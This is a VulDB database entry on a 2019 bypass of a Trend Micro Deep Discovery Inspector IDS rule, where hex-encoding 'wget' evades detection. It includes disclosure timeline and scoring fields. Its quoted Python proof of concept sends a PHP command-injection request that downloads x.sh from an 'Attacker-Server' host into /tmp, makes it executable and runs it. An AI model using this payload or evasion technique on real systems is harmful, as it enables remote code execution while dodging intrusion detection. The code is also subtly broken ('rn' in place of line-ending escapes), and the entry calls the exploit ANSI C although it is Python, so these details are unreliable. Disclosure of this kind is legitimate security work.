Trend Micro Deep Discovery Inspector wget Detection Hexadecimal String Bypass privilege escalation

A vulnerability was found in Trend Micro Deep Discovery Inspector (affected version not known) and classified as critical. Affected by this issue is an unknown code of the component wget Detection. The manipulation with the input value %77%67%65%74 leads to a privilege escalation vulnerability (Bypass). Using CWE to declare the problem leads to CWE-269. Impacted is confidentiality, integrity, and availability.

The weakness was presented 07/23/2019 by John Page (hyp3rlinx) as confirmed advisory (Website). The advisory is available at hyp3rlinx.altervista.org. The public release was coordinated in cooperation with the vendor. The attack may be launched remotely. No form of authentication is required for exploitation. Technical details as well as a public exploit are known.

A public exploit has been developed by John Page (hyp3rlinx) in ANSI C and been published immediately after the advisory. It is declared as functional. The exploit is available at hyp3rlinx.altervista.org. The vulnerability was handled as a non-public zero-day exploit for at least 70 days. During that time the estimated underground price was around $5k-$25k. The code used by the exploit is:

from socket import *
#Bypass TM DDI IDS e.g. Rule 2452 (Wget command line injection) PoC
#Discovery: hyp3rlinx - ApparitionSec
#Apparition Security
#Firewall Rule Bypass

IP = raw_input("[+] Trend Micro IDS")
PORT = 80

payload="/index.php?s=/index/vulnerable/app/invoke&function=call_user_func_array&vars[0]=system&vars[1][]=%77%67%65%74%20http://Attacker-Server/x.sh%20-O%20/tmp/a;%20chmod%200777%20/tmp/a;%20/tmp/a"
req = "GET "+payload+" HTTP/1.1rnHost"+IP+"rnConnection: closernrn"

s=socket(AF_INET, SOCK_STREAM)
s.connect((IP, PORT))
s.send(req)
res=""

while True:
    res = s.recv(512)
    print res
    if res=="n" or "":
        break

s.close()

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

Vendor

Name

VulDB Meta Base Score: 7.3
VulDB Meta Temp Score: 7.1

VulDB Base Score: 7.3
VulDB Temp Score: 7.1
VulDB Vector: 🔒
VulDB Reliability: 🔍

VulDB Base Score: 🔒
VulDB Temp Score: 🔒
VulDB Reliability: 🔍
Class: Privilege escalation / Bypass (CWE-269)
Local: No
Remote: Yes

Availability: 🔒
Access: Public
Status: Functional
Author: John Page (hyp3rlinx)
Programming Language: 🔒
Download: 🔒

Price Prediction: 🔍
Current Price Estimation: 🔒

Threat Intelligenceinfoedit

Threat: 🔍
Adversaries: 🔍
Geopolitics: 🔍
Economy: 🔍
Predictions: 🔍
Remediation: 🔍Recommended: no mitigation known
Status: 🔍

0-Day Time: 🔒
Exploit Delay Time: 🔍

05/14/2019 Vendor informed
05/20/2019 +6 days Vendor acknowledged
07/23/2019 +64 days Advisory disclosed
07/23/2019 +0 days Exploit disclosed
07/25/2019 +2 days VulDB entry created
07/25/2019 +0 days VulDB last updateVendor: trendmicro.com

Advisory: hyp3rlinx.altervista.org
Researcher: John Page (hyp3rlinx)
Status: Confirmed
Coordinated: 🔒

Created: 07/25/2019 09:13 AM
Complete: 🔍
Submitter: hyp3rlinx

Comments are closed.